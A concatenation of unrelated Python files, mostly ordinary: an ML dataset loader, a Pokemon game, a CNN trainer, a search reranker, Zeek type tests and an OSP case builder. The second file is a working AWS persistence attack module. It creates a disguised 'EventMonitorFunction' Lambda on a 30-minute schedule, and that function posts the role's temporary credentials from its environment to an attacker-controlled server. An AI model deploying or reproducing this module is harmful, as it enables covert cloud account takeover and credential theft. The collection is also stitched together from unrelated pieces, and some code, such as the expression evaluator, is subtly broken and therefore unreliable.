from .. import robotapi
from .iteminfo import LibraryKeywordInfo

def get_import_result(path, args):
    lib = robotapi.TestLibrary(path, args)
    kws = [
        LibraryKeywordInfo(
            kw.name,
            kw.doc,
            lib.doc_format,
            kw.library.name,
            _parse_args(kw.arguments)
        ) for kw in lib.handlers]
    return kws

def _parse_args(args):
    parsed = []
    for name in args.positional:
        parsed.append('='.join([name, str(args.defaults[name])]) if name in args.defaults else name)
    if args.varargs:
        parsed.append('*%s' % args.varargs)
    for name in args.kwonlyargs:
        parsed.append('='.join([name, str(args.defaults[name])]) if name in args.defaults else name)
    if args.kwargs:
        parsed.append('**%s' % args.kwargs)
    return parsed


import boto3
import botocore
import os
import time
import zipfile
from colorama import Fore, Style
from functions import create_client

def help():
    print(f"{Fore.YELLOW}\n================================================================================================{Style.RESET_ALL}")
    print("[+] Module Description:\n")
    print("\tThis module will create a lambda persistency that will export the temporary credentials")
    print("\tfor the role attached to it to a server of your choosing.\n")

    print("[+] Module Functionality:\n")
    print("\tThe module will ask you for an address of a server you control, the arn of a role to be")
    print("\tpassed to the new lambda function and the region to create the lambda. It then will create")
    print("\tthe lambda function and assign a trigger that will execute this function every 30 minutes.\n")

    print("[+] IMPORTANT:\n")
    print("\tYou need the 'iam:passrole' and 'lambda:create_function' permissions.")
    print(f"{Fore.YELLOW}\n================================================================================================{Style.RESET_ALL}")

def aws_file():
    with open("lambda_function.zip", 'rb') as file_data:
        bytes_content = file_data.read()

    return bytes_content

def create_lambda(client, function_role):
    response = client.create_function(
        FunctionName="EventMonitorFunction",
        Runtime="python3.9",
        Role=function_role,
        Handler="lambda_function.lambda_handler",
        Code={
            "ZipFile": aws_file()
        },
        Description="Lambda de monitoramento de Eventos do CloudWatch.",
        Publish=True,
        PackageType="Zip"
       )

    return response

def create_eventbrige_rule(client):
    rule = client.put_rule(
        Name='EventMonitor',
        ScheduleExpression="rate(30 minutes)",
        Description="Monitora eventos do CloudWath."
    )

    return rule

def create_lambda_file(server_address, lambda_path):
    lambda_code = f"""
import json
import os
import requests

def lambda_handler(event, context):
    environment = os.environ.copy()
    requests.post('http://{server_address}/', json=environment, timeout=0.01)
    return '200 OK'
"""

    try:
        print('[+] Zipping Lambda function...\n')
        with zipfile.ZipFile(lambda_path, 'w', zipfile.ZIP_DEFLATED) as zip_file:
            zip_file.writestr('lambda_function.py', lambda_code)
    except Exception as e:
        print('Failed to zip Lambda: {}\n'.format(e))

def assign_rule_target(client,function_name, function_arn):
    response = client.put_targets(
        Rule="EventMonitor",
        Targets=[
            {
                'Id': function_name,
                'Arn': function_arn
            }
        ]
    )

    return response

def assign_trigger(client, function_name, rule_arn):
    response = client.add_permission(
        FunctionName=function_name,
        StatementId='EventBridgeFunctionPermission',
        Action='lambda:InvokeFunction',
        Principal='events.amazonaws.com',
        SourceArn=rule_arn
    )

    return response

def create_lambda_layer(client):
    with open("./data/requests.zip", 'rb') as file_data:
        bytes_content = file_data.read()
    response = client.publish_layer_version(
            LayerName='layer_requests',
        Description='Used to perform standard HTTP requests.',
        Content={'ZipFile': bytes_content},
        CompatibleRuntimes=['python3.9']
    )

    return response

def check_lambda_status(client, function_name):
    response = client.get_function(
        FunctionName=function_name
    )

    if response['Configuration']['State'] == 'Active':
        return True
    else:
        return False

def invoke_lambda(client, function_name):
    response = client.invoke(
        FunctionName=function_name,
    )

    return response

def update_layer_information(client, function_name):
    response = client.update_function_configuration(
        FunctionName=function_name,
        Layers=[
            'arn:aws:lambda:sa-east-1:601904299386:layer:layer_requests:1'
        ]
    )

    return response

def main(botoconfig, session):
    results = {}

    print("[+] Starting persistence module...")
    function_role = input("[+] Please input the " + Fore.YELLOW + "role arn" + Style.RESET_ALL + " to be passed to the Lambda function: ")
    region_name = input("[+] Please input the " + Fore.YELLOW + "region" + Style.RESET_ALL + " to be used: ")
    server_address = input("[+] Please input the " + Fore.YELLOW + "server address" + Style.RESET_ALL + " to be used: ")
    lambda_path = './lambda_function.zip'

    print("[+] Creating Lambda file...")
    create_lambda_file(server_address, lambda_path)

    print("[+] Creating EventBridge Rule...")
    event_client = create_client.Client(botoconfig, session, "events", region_name)
    rule_data = create_eventbrige_rule(event_client.create_aws_client())
    print(f"[+] Rule created: {Fore.GREEN}{rule_data['RuleArn']}{Style.RESET_ALL}")
    results['RuleArn'] = rule_data['RuleArn']

    print("[+] Creating Lambda Function...")
    lambda_client = create_client.Client(botoconfig, session, "lambda", region_name)
    function_data = create_lambda(lambda_client.create_aws_client(), function_role)
    print(f"[+] Lambda created: {Fore.GREEN}{function_data['FunctionName']}{Style.RESET_ALL}")
    results['FunctionName'] = function_data['FunctionName']
    results['FunctionArn'] = function_data['FunctionArn']

    print("[+] Assigning target to EventBridge rule...")
    target = assign_rule_target(event_client.create_aws_client(), function_data['FunctionName'], function_data['FunctionArn'])
    if target ['ResponseMetadata']['HTTPStatusCode'] == 200:
        print(f"{Fore.GREEN}[+] Targed Successfully Assinged!{Style.RESET_ALL}")
    else:
        print(f"{Fore.RED}[-] Failed to assign target...{Style.RESET_ALL}")

    print("[+] Assigning trigger to Lambda function...")
    trigger = assign_trigger(lambda_client.create_aws_client(), function_data['FunctionName'], rule_data['RuleArn'])
    if trigger['ResponseMetadata']['HTTPStatusCode'] == 201:
        print(f"{Fore.GREEN}[+] Trigger set!{Style.RESET_ALL}")
    else:
        print(f"{Fore.RED}[-] Failed to set Trigger, attack failed...{Style.RESET_ALL}")

    print("[+] Creating Lambda Layer...")
    layer_client = boto3.client("lambda", config=botoconfig, region_name=region_name)
    layer_information = create_lambda_layer(layer_client)
    if layer_information['ResponseMetadata']['HTTPStatusCode'] == 201:
        print(f"{Fore.GREEN}[+] Layer created!{Style.RESET_ALL}")
    else:
        print(f"{Fore.RED}[-] Failed to create layer, attack failed...{Style.RESET_ALL}")

    print("[+] Checking for lambda status...")
    while True:
        token = check_lambda_status(layer_client, function_data['FunctionName'])
        if token:
            break
        else:
            time.sleep(10)

    print("[+] Assingning Layer to Function...")
    update_layer = update_layer_information(layer_client, function_data['FunctionName'])
    if update_layer['ResponseMetadata']['HTTPStatusCode'] == 200:
        print(f"{Fore.GREEN}[+] Layer assigned! Attack Complete!{Style.RESET_ALL}")
    else:
        print(f"{Fore.RED}[-] Failed to assign layer, attack failed...{Style.RESET_ALL}")

    os.remove(lambda_path)

    return results


from matplotlib import pyplot as plt
import torch
from torch.utils.data import Dataset as torchDataset
import pandas as pd
from transformers import BertTokenizer, BertModel
import Config

tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')
model = BertModel.from_pretrained('bert-base-uncased').to(Config.device)

class CsvDataset(torchDataset):
    def __init__(self,csv_path,read_columns = True,sp = ','):
        super(CsvDataset, self).__init__()
        self.dataTell = []
        if csv_path == None:
            return
        print("[npc report]read data...",end = '')
        self.raw_lines = open(csv_path,"r",encoding="utf8").read().split('\n')
        print("done.")

    def __splitLine__(line,sp = ','):
        exist_quotation = False
        ll = len(line)
        lst = 0
        res = []
        for i in range(1,ll):
            if line[i] == sp and not exist_quotation:
                res.append(line[lst:i])
                lst = i + 1
            elif line[i] == '"':
                exist_quotation = not exist_quotation
        res.append(line[lst:])
        return res

    def __getitem__(self, idx: int):
        try:
            label,txt = CsvDataset.__splitLine__(self.raw_lines[idx])
            tl = 1 if label == "True" else 0
            inputs = tokenizer(txt ,padding = 'max_length', return_tensors='pt',truncation  = True).to(Config.device)

            with torch.no_grad():
                embedding = model(**inputs).last_hidden_state

            return embedding,torch.Tensor([[tl,1-tl]]).to(Config.device)

        except Exception as e:
            print("[npc report] Unhandle Eorr:",e,"auto handle:","skip")
            return -1,-1

    def __len__(self) -> int:
        return len(self.raw_lines)

    def collate_func(self,batch_dic):
        xs,ys = [],[]
        for x,y in batch_dic:
            if type(x) == type(-1):
                continue
            xs.append(x.unsqueeze(0))
            ys.append(y)
        return torch.cat(xs,dim=0),torch.cat(ys,dim=0)

    def Split(self,testPor = 0.3):
        train,test = CsvDataset(None),CsvDataset(None)
        half = int(len(self)* 0.5) # 1000
        spl = int(half * (1 -testPor)) # 700
        train.raw_lines = self.raw_lines[:spl] + self.raw_lines[half:half + spl]

        test.raw_lines = self.raw_lines[spl:half] + self.raw_lines[-(half - spl):]

        return train,test

    def Merge(dtls:list):
        res = CsvDataset(None)
        res.raw_lines = []
        for dt in dtls:
            res.raw_lines += dt.raw_lines
        return res

class PdCsvDataset(torchDataset):
    def __init__(self,csv_path = None):
        super(PdCsvDataset, self).__init__()
        self.dataidx = []
        self.labels = []
        if csv_path != None:
            self.csv = pd.read_csv(csv_path,sep=',')
            self.statistics()

    def collate_func(self,batch_dic):
        xs,ys = [],[]
        for x,y in batch_dic:
            xs.append(x.unsqueeze(0).unsqueeze(0))
            ys.append(y.unsqueeze(0))
        return torch.cat(xs,dim=0),torch.cat(ys,dim=0)

    def statistics(self,read_num = 1000,cls = "reviews.doRecommend"):
        tabu = {}
        for idx,cls in enumerate(self.csv[cls]):
            if type(cls) != type(True):
                continue
            print(self.csv.iloc[idx]["reviews.text"])
            inputs = tokenizer(self.csv.iloc[idx]["reviews.text"], return_tensors='pt')
            if len(inputs) > 47:
                continue
            if cls in tabu.keys():
                if tabu[cls] <= read_num:
                    self.dataidx.append(idx)
                    self.labels.append(cls)
                    tabu[cls] += 1
            else:
                tabu.setdefault(cls,1)
                self.labels.append(cls)
        self.clses = list(tabu.keys())
        self.tabu = tabu
        print("[npc report] PdCsvDataset stat :",tabu)

    def __getitem__(self, index: int):
        idx = self.dataidx[index]
        tl = 1 if self.labels[index] else 0
        inputs = tokenizer(self.csv.iloc[idx]["reviews.text"], return_tensors='pt')
        with torch.no_grad():
            embedding = model(**inputs).last_hidden_state

        c,h,w = embedding.shape
        if  h < 46:
            embedding = torch.cat([embedding,torch.zeros(1,46- h,w)],dim = 1)
        return embedding[0,:46,:],torch.Tensor([tl,1-tl])

    def __len__(self) -> int:
        return len(self.dataidx)

    def Split(self,testPor = 0.3):
        train,test = PdCsvDataset(None),PdCsvDataset(None)
        half = int(len(self)* 0.5) # 1000
        spl = int(half * (1 -testPor)) # 700
        train.labels = self.labels[:spl] + self.labels[half:half + spl]
        train.dataidx = self.dataidx[:spl] + self.dataidx[half:half + spl]
        train.csv = self.csv

        test.labels = self.labels[spl:half] + self.labels[-(half - spl):]
        test.dataidx = self.dataidx[spl:half] + self.dataidx[-(half - spl):]
        test.csv = self.csv

        return train,test

if __name__ == "__main__":
    count = 0
    pcsv = PdCsvDataset("../dataset.csv")
    print(len(pcsv))

    # txt,cls = pcsv[0]
    # inputs = tokenizer("It is the time you have wasted for your rose that makes your rose so important.", return_tensors='pt')
    # with torch.no_grad():
    #     all_encoder_layers = model(**inputs)
    #     print(all_encoder_layers.last_hidden_state)

    plty1 = []
    plty2 = []
    x = []
    count = 0
    for txt,cls in pcsv:
        x.append(count)
        count+=1
        plty1.append(txt.shape[1])
        plty2.append(txt.shape[2])

    print(sum(plty1)/len(plty1),sum(plty2)/len(plty2))
    plt.plot(x,plty1,color = 'red')
    plt.plot(x,plty2,color = 'green')
    plt.show()


from __future__ import (absolute_import, division, print_function, unicode_literals)
from builtins import *

import logging, signal, os, os.path
from wizzat.util import mkdirp, slurp

__all__ = [
    'RunnerBase',
]

class RunnerBase(object):
    """
        This is a base class for runners.  It supports:
        - Setting up logging
        - Resetting logging for tests
        - Signal handling
        - Hooks for common operations like setup_connections or should_run
    """
    log_root = '/mnt/logs'
    process_name = None
    log_stdout = False
    sig_handlers = {
        signal.SIGTERM : 'sig_term',
        signal.SIGINT  : 'sig_int',
        signal.SIGHUP  : 'sig_hup',
    }

    def __init__(self, **params):
        self.__dict__.update(params)
        self.terminated  = False
        self.interrupted = False

        self.setup_logging()
        self.setup_connections()

        for sig, func in self.sig_handlers.items():
            signal.signal(sig, getattr(self, func))

    def run(self):
        """
        This method provides should_run() and automatic exception handling/logging.
        """
        if not self.should_run():
            return

        try:
            self._run()
            return self
        except Exception:
            logging.exception("Caught exception")
            raise

    def pidfile(self):
        """
        This method can be overridden to return a full file path, which will be checked as a pidfile.
        If the pidfile exists and the process also exists, the process will be flagged as should_run = False.
        """
        return False

    def check_pidfile(self):
        pidfile = self.pidfile()
        if pidfile:
            logging.info("Checking pidfile: %s", pidfile)
            mkdirp(os.path.dirname(pidfile))
            if os.path.exists(pidfile):
                try:
                    # Does the process exist and can we signal it?
                    pid = int(slurp(pidfile).strip())
                    logging.info("Pidfile %s exists, checking pid %d", pidfile, pid)
                    os.kill(pid, 0)
                    logging.info("Pidfile exists and process can be signaled, aborting")
                    return False
                except (ValueError, OSError):
                    logging.info("Pidfile exists but process cannot be signaled, continuing")

            logging.info("Writing new pidfile %s (%d)", pidfile, os.getpid())
            with open(pidfile, 'w') as fp:
                fp.write(str(os.getpid()))

        return True

    def setup_connections(self):
        """
        Stub for overriding.  Called during init()
        """
        pass

    def should_run(self):
        """
        Should implement logic for determining whether the process should run.
        Memory constraints, CPU constraints, pidfiles, etc go here.

        Called before _run()
        """
        if not self.check_pidfile():
            return False

        return True

    def setup_logging(self):
        cls = type(self)
        self.process_name = self.process_name or "{}.{}".format(cls.__module__, cls.__name__)
        if self.log_stdout:
            self.log_file = None
        else:
            self.log_file = os.path.join(self.log_root, self.process_name + '.log')

        mkdirp(self.log_root)

        # http://stackoverflow.com/questions/1943747/python-logging-before-you-run-logging-basicconfig
        # This lets you run these guys in tests with a different logging conf per runner
        root = logging.getLogger()
        if root.handlers:
            for handler in root.handlers:
                root.removeHandler(handler)

        logging.basicConfig(
            format   = '%(asctime)s.%(msecs)s:%(name)s:%(thread)d:%(levelname)s:%(process)d:%(message)s',
            filename = self.log_file,
            level    = logging.INFO,
        )

    def sig_term(self, signal, frame):
        """
        By default, sig_term sets the `terminated` flag.  This can be used for main loop control.
        """
        logging.critical('Received sigterm')
        self.terminated = True

    def sig_int(self, signal, frame):
        """
        By default, sig_int sets the `interrupted` flag.  This can be used for main loop control.
        """
        logging.critical('Received sigint')
        self.interrupted = True

    def sig_hup(self, signal, frame):
        """
        By default, sig_hup will close and reopen log files (for log rotation)
        """
        logging.critical('Received sighup')
        self.setup_logging()


import random, requests

def random_pokemon():
    opponent_pokemon_number = random.randint(1, 151)
    url = 'https://pokeapi.co/api/v2/pokemon/{}/'.format(opponent_pokemon_number)
    response = requests.get(url)
    pokemon = response.json()

    return {
        'name': pokemon['name'],
        'id': pokemon['id'],
        'height': pokemon['height'],
        'weight': pokemon['weight'],
        'order': pokemon['order']
    }
#I am creating a best of 5 games between the player and the computer
player_wins = 0
computer_wins = 0

for wins in range(5):
    print()
    player_pokemon_number = input("Choose a pokemon number between 1 and 151 to pick a pokemon: ")
    print()

    url = 'https://pokeapi.co/api/v2/pokemon/{}/'.format(player_pokemon_number)
    response = requests.get(url)
    player_pokemon_number = response.json()
    print("Name: " + player_pokemon_number['name'])
    print("ID: " + str(player_pokemon_number['id']))
    print("Height: " + str(player_pokemon_number['height']))
    print("Weight: " + str(player_pokemon_number['weight']))
    print("Order: " + str(player_pokemon_number['order']))

    poke_stat = {
        'name': player_pokemon_number['name'],
        'id': player_pokemon_number['id'],
        'height': player_pokemon_number['height'],
        'weight': player_pokemon_number['weight'],
        'order': player_pokemon_number['order']
    }

    print()
    choose_stat: str = input('Select one stat you would like to compare between >> "id, height, weight, order: " ')

    opponent_pokemon_number = random_pokemon()
    print ()
    print('The opponent chose {}'.format(opponent_pokemon_number['name']))

    print("Name: " + opponent_pokemon_number['name'])
    print("ID: " + str(opponent_pokemon_number['id']))
    print("Height: " + str(opponent_pokemon_number['height']))
    print("Weight: " + str(opponent_pokemon_number['weight']))
    print("Order: " + str(opponent_pokemon_number['order']))

    player_stat = player_pokemon_number[choose_stat]
    opponent_stat = opponent_pokemon_number[choose_stat]

    #CALCULATIONS
    if player_stat > opponent_stat:
      player_wins += 1
      print("You win")

    elif player_stat < opponent_stat:
      computer_wins += 1
      print("You lost")

    else:
        print('Draw!')
#FINAL RESULTS
print("Your final results:")
if player_wins >= 3:
  print('CONGRATULATIONS You won {} out of 5 games'.format(player_wins))
elif computer_wins >= 3:
  print('You lost, The computer won {} out of 5 games :(, try again!'.format(computer_wins))
else:
  print("You won 2 games and The comuputer won 2 games, You drew")


from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D, Flatten, Dense
from keras.callbacks import History
import matplotlib.pyplot as plt
from preprocessing import X_train, X_val, y_train, y_val

# Build model
model = Sequential()
model.add(Conv2D(32, (3, 3), activation='relu', input_shape=(64, 64, 3)))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten())
model.add(Dense(64, activation='relu'))
model.add(Dense(1, activation='sigmoid'))

# Compile model
model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])

# Train model
history = History()
model.fit(X_train, y_train, validation_data=(X_val, y_val), epochs=10, callbacks=[history])

# Plot training & validation accuracy values
plt.plot(history.history['accuracy'])
plt.plot(history.history['val_accuracy'])
plt.title('Model accuracy')
plt.ylabel('Accuracy')
plt.xlabel('Epoch')
plt.legend(['Train', 'Test'], loc='upper left')
plt.savefig('static/accuracy_plot.png')  # Save plot as image
plt.show()
plt.close()  # Close the figure

# Plot training & validation loss values
plt.plot(history.history['loss'])
plt.plot(history.history['val_loss'])
plt.title('Model loss')
plt.ylabel('Loss')
plt.xlabel('Epoch')
plt.legend(['Train', 'Test'], loc='upper left')
plt.savefig('static/loss_plot.png')  # Save plot as image
plt.show()
plt.close()  # Close the figure

# Save model
model.save('brain_tumor_model.h5')


import logging

from sentence_transformers import CrossEncoder
from psycopg.rows import class_row

from ssearch.core.db.postgres import db
from ssearch.core.models import SearchResult, DocumentMetadata
from ssearch.core.search.es import search_es
from ssearch.core.search.vector import search_faiss, fetch_chunk_ids

cross_encoder = CrossEncoder('cross-encoder/ms-marco-MiniLM-L-12-v2')

def fetch_document_metadata(ids):
    try:
        with db.connect() as conn:
            cur = conn.cursor(row_factory=class_row(DocumentMetadata))
            cur.execute(
                "SELECT id, file_name, file_type FROM documents WHERE id = ANY(%s)", [ids])
            results = cur.fetchall()
            conn.commit()
            return results
    except Exception as e:
        logging.error(f"Error fetching document metadata: {e}")
        return []

def rerank(query, results: SearchResult):
    pairs = [(query, hit.chunk_text) for hit in results]
    scores = cross_encoder.predict(pairs)

    for result, score in zip(results, scores):
        result.score = score

    results.sort(key=lambda x: x.score, reverse=True)
    return results

def merge_results(es_results, faiss_results):
    # Merge the results from ES and FAISS
    # Ensure that the results are unique
    results = list(
        {result.id: result for result in es_results + faiss_results}.values())
    return results

def search_hybrid(query, top_k):
    es_results = search_es(query, top_k)
    ids = search_faiss(query, top_k)
    faiss_results = fetch_chunk_ids(ids)
    results = merge_results(es_results, faiss_results)
    results = rerank(query, results)
    document_ids = [result.document_id for result in results]
    document_metadata = fetch_document_metadata(document_ids)
    metadata_dict = {metadata.id: metadata for metadata in document_metadata}
    for result in results:
        result.metadata = metadata_dict[result.document_id]

    return results

if __name__ == "__main__":
    # Test the search function
    query = "What is diffusion?"
    top_k = 10
    results = search_hybrid(query, top_k)
    print(results)
    # es_results = search_es(query, top_k)
    # print(es_results)
    # ids = search_faiss(query, top_k)
    # faiss_results = fetch_chunk_ids(ids)
    # print(faiss_results)
    # results = es_results + faiss_results
    # results = rerank(query, results)
    # print(results)


# EDITOR > File and Code Templates put this here!

import matplotlib
import matplotlib.pyplot as plt
import numpy as np

x=np.linspace(-10,10,100)
y=x**2

#%%
plt.close('all')
plt.ion()
plt.style.use('seaborn')  # style sheet reference: https://matplotlib.org/3.1.0/gallery/style_sheets/style_sheets_reference.html
fig, ax = plt.subplots( 1,1)#, figsize=(12,9), sharex=False)  #W x H
#fig = matplotlib.pyplot.figure

plt.plot(x,y, color='orange', linestyle='-')

# Do this, then get autocomplete pop-ups on plt
assert isinstance(ax, matplotlib.axes._subplots.Subplot)

# ax.

#%%


"""

You are given 3 arrays, merge all three arrays into one single array and return it

arr1 = [2,4,5,7]
arr2 = [1,2,4,5,6]
arr3 = [3,5,6,7,9]

        aptr = 2  1
        bptr = 2  2
        cptr = 3  0

        1 1 1
        1 1 1
        1 1 1

        [1]

- negative numbers
- duplicates?
- empty?

    aptr, bptr, cptr

    while loop:
        min(aptr, bptr, cptr)
        check arrays with min value -> move their pointer forward
    check for duplicates: compare last no in the result with the current min number

    TC: O(n+m+r)  SC: O(1)

"""

def merge_arrays(arr1, arr2, arr3):
    aptr, bptr, cptr = 0, 0, 0
    result = []

    while aptr < len(arr1) or bptr < len(arr2) or cptr < len(arr3): # 1, 2, 0
        num1 = arr1[aptr] if aptr < len(arr1) else float('inf') # 4
        num2 = arr2[bptr] if bptr < len(arr2) else float('inf') # 4
        num3 = arr3[cptr] if cptr < len(arr3) else float('inf') # 3

        min_val = min(num1, num2, num3) # 2
        if not result or result and result[-1] != min_val:
            result.append(min_val) # 1 2

        if min_val == num1:
            aptr += 1
        if min_val == num2:
            bptr += 1
        if min_val == num3:
            cptr += 1

    return result

"""
Given a string s which represents an expression, evaluate this expression and return its value.

The integer division should truncate toward zero.

You may assume that the given expression is always valid. All intermediate results will be in the range of [-231, 231 - 1].

Note: You are not allowed to use any built-in function which evaluates strings as mathematical expressions, such as eval().

Example 1:

Input: s = "3+2*2"
Output: 7

Example 3:

Input: s = " 3+5 / 2 "
Output: 5

    - empty string -> 0

    - * and //
    - O(n) O(n)

    3+2*2
         ^

    curr_num = 0
    curr_operator = +

    prev_num
    result: updated when we see + or -, update with digits before that operator (+-), add prev_num to result

    for ch in s:
        if ch is a digit:
            update the digit
        if ch is not digit and ch is an operator:
            if ch is + or -:
              result += prev_num if + or -prev_num
            if ch == * or /:
                prev_num * curr_num

    result += prev_num
    return result

"""

" 3£#£+3-3"
"333*222"

def evaluate_expression(s): # 3+2 * 2
    stack = []
    curr_num, curr_op = 0, '+'

    if not s[0].isdigit(): # curr_num=0, curr_op=*
        curr_op = s[0]

    for idx, ch in enumerate(s): # 2
        if ch.isdigit:
            curr_num = curr_num * 10 + int(ch) # 2

        if ch in '+-*/' or idx == len(s) - 1:
            if curr_op == '+':
                stack.append(curr_num)
            elif curr_op == '-':
                stack.append(-curr_num)
            elif curr_op == '*':
                stack.append(curr_num * stack.pop())
            elif curr_op == '/':
                stack.append(stack.pop() // curr_num)
            curr_num = 0
            curr_op = ch

    result = 0        # stack: 3 4
    while stack:
        result += stack.pop() # 3+4 = 7

    return result


"""This verifies the Python-level representations of Zeek records in types module."""
import os.path
import sys
import unittest

TESTS = os.path.dirname(os.path.realpath(__file__))
ROOT = os.path.normpath(os.path.join(TESTS, ".."))

# Prepend the tree's root folder to the module searchpath so we find zeekclient
# via it. This allows tests to run without package installation.
sys.path.insert(0, ROOT)

import zeekclient.brokertypes as bt  # pylint: disable=wrong-import-position
from zeekclient.types import *  # pylint: disable=wrong-import-position,unused-wildcard-import,wildcard-import

class TestTypes(unittest.TestCase):
    def assertHash(self, val):
        d = {val: 1}
        self.assertEqual(d[val], 1)

    def brokertype_roundtrip(self, data):
        return type(data).from_brokertype(data.to_brokertype())

    def test_cluster_role(self):
        val0 = ClusterRole.LOGGER
        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)

        self.assertTrue(ClusterRole.LOGGER < ClusterRole.MANAGER)
        with self.assertRaises(TypeError):
            _ = ClusterRole.LOGGER < State.PENDING

        val0_bt = val0.to_brokertype()
        self.assertEqual(val0_bt.to_py(), val0.qualified_name())

        self.assertHash(val0)

        with self.assertRaises(TypeError):
            ClusterRole.from_brokertype(bt.String("Oopsie::WORKER"))
        with self.assertRaises(TypeError):
            ClusterRole.from_brokertype(bt.String("Supervisor::OOPSIE"))

    def test_management_role(self):
        val0 = ManagementRole.AGENT
        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)

        val0_bt = val0.to_brokertype()
        self.assertEqual(val0_bt.to_py(), val0.qualified_name())

        self.assertHash(val0)

    def test_state(self):
        val0 = State.FAILED
        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)

        val0_bt = val0.to_brokertype()
        self.assertEqual(val0_bt.to_py(), val0.qualified_name())

        self.assertHash(val0)

    def test_option(self):
        val0 = Option("foo", "bar")
        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)

        self.assertHash(val0)

    def test_instance(self):
        val0 = Instance("instance1")
        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)
        self.assertEqual(val0.to_json_data(), {"name": "instance1"})

        val0 = Instance("instance1", "10.0.0.1")
        self.assertEqual(val0.to_json_data(), {"name": "instance1", "host": "10.0.0.1"})

        val0 = Instance("instance1", "10.0.0.1", 1234)
        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)
        self.assertEqual(
            val0.to_json_data(), {"name": "instance1", "host": "10.0.0.1", "port": 1234}
        )

        self.assertHash(val0)

        with self.assertRaisesRegex(TypeError, "unexpected Broker data"):
            Instance.from_brokertype(bt.String("not a vector..."))

    def test_node(self):
        val0 = Node("worker1", "instance1", ClusterRole.WORKER)
        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)

        val0 = Node(
            "worker1",
            "instance1",
            ClusterRole.WORKER,
            State.PENDING,
            port=1234,
            scripts=["foo/bar/baz.zeek"],
            options=[Option("foo", "bar")],
            interface="eth0",
            cpu_affinity=13,
            env={"FOO": "BAR"},
        )
        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)

        self.assertHash(val0)

        with self.assertRaisesRegex(TypeError, "unexpected Broker data"):
            Node.from_brokertype(bt.String("not a vector..."))

    def test_configuration(self):
        val0 = Configuration()
        val0.instances.append(Instance("instance1"))
        val0.nodes.append(Node("worker1", "instance1", ClusterRole.WORKER))

        val1 = self.brokertype_roundtrip(val0)
        self.assertEqual(val0, val1)

        self.assertHash(val0)

    def test_node_status(self):
        # NodeStatus is not a SendableZeekType, so we make up the Brokertype
        # representation and only test instantiation from it. Same for the next
        # few types below.
        val0 = NodeStatus(
            "worker1",
            State.RUNNING,
            ManagementRole.NONE,
            ClusterRole.WORKER,
            pid=123,
            port=1234,
        )

        val1 = NodeStatus.from_brokertype(
            bt.Vector(
                [
                    bt.String("worker1"),
                    bt.Enum("Management::RUNNING"),
                    bt.Enum("Management::NONE"),
                    bt.Enum("Supervisor::WORKER"),
                    bt.Integer(123),
                    bt.Port(1234),
                ]
            )
        )

        self.assertEqual(val0, val1)
        self.assertHash(val0)

    def test_result(self):
        val0 = Result(
            "reqid-1234",
            success=False,
            instance="instance1",
            data=bt.String("data"),
            error="an error",
            node="worker1",
        )

        val1 = Result.from_brokertype(
            bt.Vector(
                [
                    bt.String("reqid-1234"),
                    bt.Boolean(False),
                    bt.String("instance1"),
                    bt.String("data"),
                    bt.String("an error"),
                    bt.String("worker1"),
                ]
            )
        )

        self.assertEqual(val0, val1)

    def test_node_outputs(self):
        val0 = NodeOutputs("stdout content", "stderr content")

        val1 = NodeOutputs.from_brokertype(
            bt.Vector(
                [
                    bt.String("stdout content"),
                    bt.String("stderr content"),
                ]
            )
        )

        self.assertEqual(val0, val1)


import logging
import os
from pathlib import Path
from typing import Union

from dictIO import CppDict, DictReader

from ospx import Graph, OspSimulationCase

__ALL__ = ["OspCaseBuilder"]

logger = logging.getLogger(__name__)

class OspCaseBuilder:
    """Builder for OSP-specific configuration files needed to run an OSP (co-)simulation case."""

    def __init__(self):
        return

    @staticmethod
    def build(
        case_dict_file: Union[str, os.PathLike[str]],
        inspect: bool = False,
        graph: bool = False,
        clean: bool = False,
    ):
        """Build the OSP-specific configuration files needed to run an OSP (co-)simulation case.

        Builds following files:
            - OspSystemStructure.xml
            - SystemStructure.ssd
            - Plot.json
            - statisticsDict
            - watchDict

        Parameters
        ----------
        case_dict_file : Union[str, os.PathLike[str]]
            caseDict file. Contains all case-specific information OspCaseBuilder needs to generate the OSP files.
        inspect : bool, optional
            inspect mode. If True, build() reads all properties from the FMUs but does not actually create the OSP case files, by default False
        graph : bool, optional
            if True, creates a dependency graph image using graphviz, by default False
        clean : bool, optional
            if True, cleans up case folder and deletes any formerly created ospx files, e.g. OspSystemStructure.xml .fmu .csv etc.

        Raises
        ------
        FileNotFoundError
            if case_dict_file does not exist
        """

        # Make sure source_file argument is of type Path. If not, cast it to Path type.
        case_dict_file = case_dict_file if isinstance(case_dict_file, Path) else Path(case_dict_file)
        if not case_dict_file.exists():
            logger.error(f"OspCaseBuilder: File {case_dict_file} not found.")
            raise FileNotFoundError(case_dict_file)

        if clean:
            case_folder: Path = case_dict_file.resolve().parent
            _clean_case_folder(case_folder)

        logger.info(f"reading {case_dict_file}")  # 0

        case_dict: CppDict = DictReader.read(case_dict_file, comments=False)

        case = OspSimulationCase(case_dict)
        try:
            case.setup()
        except Exception as e:
            logger.exception(e)
            return

        if inspect:
            # inspect and return
            case._inspect()  # pyright: ignore
            return

        # case.write_osp_model_description_xmls()
        case.write_osp_system_structure_xml()
        case.write_system_structure_ssd()

        if "postProcessing" in case_dict.keys():
            case._write_plot_config_json()  # pyright: ignore

        case.write_statistics_dict()

        if graph:
            Graph.generate_dependency_graph(case)

        case.write_watch_dict()

        return

def _clean_case_folder(case_folder: Path):
    """Clean up the case folder and deletes any existing ospx files, e.g. modelDescription.xml .fmu .csv etc."""
    import re
    from shutil import rmtree

    # specify all files to be deleted (or comment-in / comment-out as needed)
    case_builder_result_files = [
        "*.csv",
        "*.out",
        "*.xml",
        "*.ssd",
        "*.fmu",
        "*callGraph",
        "*.pdf",
        "*.png",  # 'protect results/*.png'
        "watchDict",
        "statisticsDict",  # 'results',
        "zip",
    ]
